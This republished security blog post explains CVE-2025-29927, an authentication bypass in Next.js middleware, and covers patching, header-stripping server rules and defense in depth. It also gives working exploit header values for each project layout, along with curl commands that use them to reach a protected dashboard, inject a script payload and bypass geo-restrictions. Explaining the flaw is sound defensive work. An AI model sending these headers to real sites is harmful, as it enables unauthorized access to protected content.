News

Best of 2025: CVE-2025-29927 – Understanding the Next.js Middleware Vulnerability

  • None--securityboulevard.com
  • published date: 2026-01-01 00:00:00 UTC

None

<p>When security vulnerabilities appear in popular frameworks, they can affect thousands of websites overnight. That’s exactly what’s happening with a newly discovered vulnerability in Next.js – one of the most widely used React frameworks today.</p><p>Let’s break down this surprisingly simple but dangerous security flaw.</p><h2 id="h-what-makes-this-vulnerability-so-dangerous" class="wp-block-heading">What Makes This Vulnerability So Dangerous?</h2><p>Imagine building a house with a sophisticated security system, but accidentally installing a secret button that disables all the alarms at once. That’s essentially what happened with Next.js.</p><p>The vulnerability (officially called CVE-2025-29927) affects Next.js versions 11.1.4 through 15.2.2 – which means <strong>years worth of websites</strong> are potentially vulnerable.</p><p>Here’s the shocking part: all it takes to bypass security is adding a single HTTP header to your request:</p><pre class="wp-block-code"><code>x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware</code></pre><p>Add this to any request, and suddenly all of Next.js’s security checks disappear. No login needed. No security barriers. Nothing.</p><h2 class="wp-block-heading">Understanding Next.js Middleware</h2><p>To understand why this works, we need to know a bit about middleware.</p><p>Next.js middleware acts like a security guard that checks visitors before they reach your actual website content. It runs <em>before</em> any page loads and can:</p><ul class="wp-block-list"><li><ul class="wp-block-list"><li>Check if users are logged in</li><li>Block visitors from certain countries</li><li>Add security headers to prevent attacks</li><li>Redirect users to different pages</li></ul></li></ul><p>About 15% of React applications use Next.js, and many rely on middleware for their core security.</p><h2 class="wp-block-heading">How The Bug Actually Works</h2><p>The problem stems from a mechanism designed to prevent infinite loops. Next.js needed a way to stop middleware from calling itself endlessly, so developers added a counter.</p><p>Here’s what happens:</p><ol class="wp-block-list"><li><ol class="wp-block-list"><li>Every time middleware runs, Next.js checks a special header called<br><code>x-middleware-subrequest</code></li><li>This header contains a count of how many times middleware has run</li><li>If it has run too many times (5 by default), Next.js skips the middleware entirely</li><li><strong>The critical flaw</strong>: anyone can set this header themselves</li></ol></li></ol><p>Looking at the actual code makes it clearer:</p><pre class="wp-block-code"><code>// From Next.js's source code (simplified) const subrequests = request.headers.get('x-middleware-subrequest')?.split(':') || []; const depth = subrequests.filter(s =&gt; s === middlewareName).length; if (depth &gt;= MAX_RECURSION_DEPTH) { return NextResponse.next(); // Skip all middleware! }</code></pre><p>The<code>middlewareName</code>is usually something like<code>middleware</code>or<code>src/middleware</code>depending on your project setup. By repeating this name in the header several times, an attacker tricks Next.js into thinking middleware has already run too many times.</p><h2 class="wp-block-heading">Testing For This Vulnerability</h2><p>Anyone can verify if their Next.js application is vulnerable using a special test application created for this purpose: <a href="https://github.com/strobes-security/nextjs-vulnerable-app">https://github.com/strobes-security/nextjs-vulnerable-app</a></p><p>The testing process works like this:</p><ol class="wp-block-list"><li><ol class="wp-block-list"><li>Clone the repository:<code>git clone https://github.com/strobes-security/nextjs-vulnerable-app</code></li><li>Install dependencies and start the app:<code>npm install &amp;&amp; npm run dev</code></li><li>Try accessing the<code>/dashboard</code>page – you’ll be redirected to login</li><li>Now try with the special header:</li></ol></li></ol><pre class="wp-block-code"><code>curl -v -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/dashboard</code></pre><p>Suddenly, the dashboard appears without any login. The security is completely bypassed.</p><figure class="wp-block-image"><img fetchpriority="high" decoding="async" class="wp-image-8146" src="https://strobes.co/wp-content/uploads/2025/03/image-1024x346.png" sizes="(max-width: 1024px) 100vw, 1024px" srcset="https://strobes.co/wp-content/uploads/2025/03/image-1024x346.png 1024w, https://strobes.co/wp-content/uploads/2025/03/image-300x101.png 300w, https://strobes.co/wp-content/uploads/2025/03/image-768x260.png 768w, https://strobes.co/wp-content/uploads/2025/03/image-1536x519.png 1536w, https://strobes.co/wp-content/uploads/2025/03/image-2048x692.png 2048w" alt="" width="1024" height="346"></figure><figure class="wp-block-image"><img decoding="async" class="wp-image-8147" src="https://strobes.co/wp-content/uploads/2025/03/image-1-1024x392.png" sizes="(max-width: 1024px) 100vw, 1024px" srcset="https://strobes.co/wp-content/uploads/2025/03/image-1-1024x392.png 1024w, https://strobes.co/wp-content/uploads/2025/03/image-1-300x115.png 300w, https://strobes.co/wp-content/uploads/2025/03/image-1-768x294.png 768w, https://strobes.co/wp-content/uploads/2025/03/image-1-1536x588.png 1536w, https://strobes.co/wp-content/uploads/2025/03/image-1-2048x784.png 2048w" alt="" width="1024" height="392"></figure><h2 class="wp-block-heading">Different Project Structures Need Different Exploits</h2><p>The exact header value changes depending on how your Next.js project is set up:</p><ul class="wp-block-list"><li><ul class="wp-block-list"><li><strong>Pages Router (versions 11.1.4-12.1.x)</strong>:<code>x-middleware-subrequest: pages/_middleware</code></li><li><strong>App Router (versions 12.2.x-13.x)</strong>:<code>x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware</code></li><li><strong>App Router with /src folder (versions 14.x-15.2.2)</strong>:<code>x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware</code></li></ul></li></ul><h2 class="wp-block-heading">Real-World Security Impacts</h2><p>This vulnerability opens several serious attack paths:</p><ol class="wp-block-list"><li><ol class="wp-block-list"><li><strong>Complete Authentication Bypass</strong> Attackers can access admin panels, private dashboards, or user data without logging in.</li><li><strong>Content Security Policy Bypass</strong> Middleware often sets CSP headers that prevent cross-site scripting. With this bypass, those protections vanish: bashCopy<code>curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ -H "Content-Type: text/html" --data "&lt;script&gt;alert('hacked')&lt;/script&gt;" \ http://example-site.com</code></li><li><strong>Geographic Restrictions Bypass</strong> Many sites use middleware to restrict content by location. This header bypasses those checks: bashCopy<code>curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ -H "CF-IPCountry: RU" http://example-site.com/eu-only-content</code></li></ol></li></ol><h2 class="wp-block-heading">Protecting Your Next.js Applications</h2><p>There are three main ways to fix this vulnerability:</p><ol class="wp-block-list"><li><ol class="wp-block-list"><li><strong>Update Next.js Immediately</strong><ul class="wp-block-list"><li><ul class="wp-block-list"><li>Upgrade to version 15.2.3+ or 14.2.25+</li><li>These versions have patched the security hole</li></ul></li></ul></li><li><strong>Block The Dangerous Header</strong> If updating isn’t possible right away, block the header at the web server level: For NGINX: nginxCopy<code>location / { proxy_set_header x-middleware-subrequest ""; }</code>For Apache: apacheCopy<code>RequestHeader unset x-middleware-subrequest</code></li><li><strong>Implement Defense-in-Depth</strong><ul class="wp-block-list"><li><ul class="wp-block-list"><li>Don’t rely solely on middleware for security</li><li>Add server-side authentication checks (like with NextAuth.js)</li><li>For critical paths, add redundant security layers</li></ul></li></ul></li></ol></li></ol><h2 class="wp-block-heading">Key Security Lessons From This Vulnerability</h2><p>This bug teaches three fundamental security principles:</p><ol class="wp-block-list"><li><ol class="wp-block-list"><li><strong>Security Needs Multiple Layers</strong> Like an onion or a castle with multiple walls, security should have fallback layers. If middleware fails, other security checks should still protect your application.</li><li><strong>Never Trust User-Controlled Input</strong> Any data from users – including HTTP headers – can be manipulated. Always validate or sanitize input.</li><li><strong>Simple Bugs Can Cause Major Problems</strong> This vulnerability wasn’t complex. It was a simple oversight in how a counter worked. Yet it compromised thousands of applications.</li></ol></li></ol><h2 class="wp-block-heading">Checking Your Own Applications</h2><p>If you run Next.js applications, take these steps immediately:</p><ol class="wp-block-list"><li><ol class="wp-block-list"><li>Test your applications with the exploit payloads listed above</li><li>Review all middleware configurations for security dependencies</li><li>Update to the latest version as soon as possible</li></ol></li></ol><p>For more technical details, refer to:</p><ul class="wp-block-list"><li><ul class="wp-block-list"><li>The official CVE report: <a href="https://vi.strobes.co/cve/CVE-2025-29927">CVE-2025-29927</a></li><li>Additional technical analysis: <a href="https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware">Zhero Web Security Research</a></li><li>The vulnerable test app: <a href="https://github.com/strobes-security/nextjs-vulnerable-app">GitHub Repository</a></li></ul></li></ul><h2 class="wp-block-heading">Why Web Security Is Always Evolving</h2><p>This vulnerability reminds us that security is never “done.” It’s an ongoing process. Even popular, well-maintained frameworks can have critical flaws discovered years after release.</p><p>The good news? The Next.js team responded quickly with patches. But this incident serves as a powerful reminder that we need to stay vigilant, keep our dependencies updated, and always implement multiple layers of security.</p><p>Have you checked your Next.js applications yet? The fix is simple, but only if you apply it.</p><p>The post <a href="https://strobes.co/blog/cve-2025-29927-understanding-the-next-js-middleware-vulnerability/">CVE-2025-29927 – Understanding the Next.js Middleware Vulnerability</a> appeared first on <a href="https://strobes.co/">Strobes Security</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/01/cve-2025-29927-understanding-the-next-js-middleware-vulnerability-2/" data-a2a-title="Best of 2025: CVE-2025-29927 – Understanding the Next.js Middleware Vulnerability"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F01%2Fcve-2025-29927-understanding-the-next-js-middleware-vulnerability-2%2F&amp;linkname=Best%20of%202025%3A%20CVE-2025-29927%20%E2%80%93%20Understanding%20the%20Next.js%20Middleware%20Vulnerability" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F01%2Fcve-2025-29927-understanding-the-next-js-middleware-vulnerability-2%2F&amp;linkname=Best%20of%202025%3A%20CVE-2025-29927%20%E2%80%93%20Understanding%20the%20Next.js%20Middleware%20Vulnerability" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F01%2Fcve-2025-29927-understanding-the-next-js-middleware-vulnerability-2%2F&amp;linkname=Best%20of%202025%3A%20CVE-2025-29927%20%E2%80%93%20Understanding%20the%20Next.js%20Middleware%20Vulnerability" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F01%2Fcve-2025-29927-understanding-the-next-js-middleware-vulnerability-2%2F&amp;linkname=Best%20of%202025%3A%20CVE-2025-29927%20%E2%80%93%20Understanding%20the%20Next.js%20Middleware%20Vulnerability" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F01%2Fcve-2025-29927-understanding-the-next-js-middleware-vulnerability-2%2F&amp;linkname=Best%20of%202025%3A%20CVE-2025-29927%20%E2%80%93%20Understanding%20the%20Next.js%20Middleware%20Vulnerability" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div>